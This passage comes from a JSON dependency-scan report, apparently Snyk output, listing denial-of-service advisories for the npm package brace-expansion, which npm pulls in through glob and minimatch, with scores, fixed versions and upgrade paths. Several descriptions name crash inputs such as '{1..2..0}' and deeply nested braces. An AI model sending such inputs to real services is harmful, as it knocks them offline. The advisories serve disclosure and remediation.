"severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, 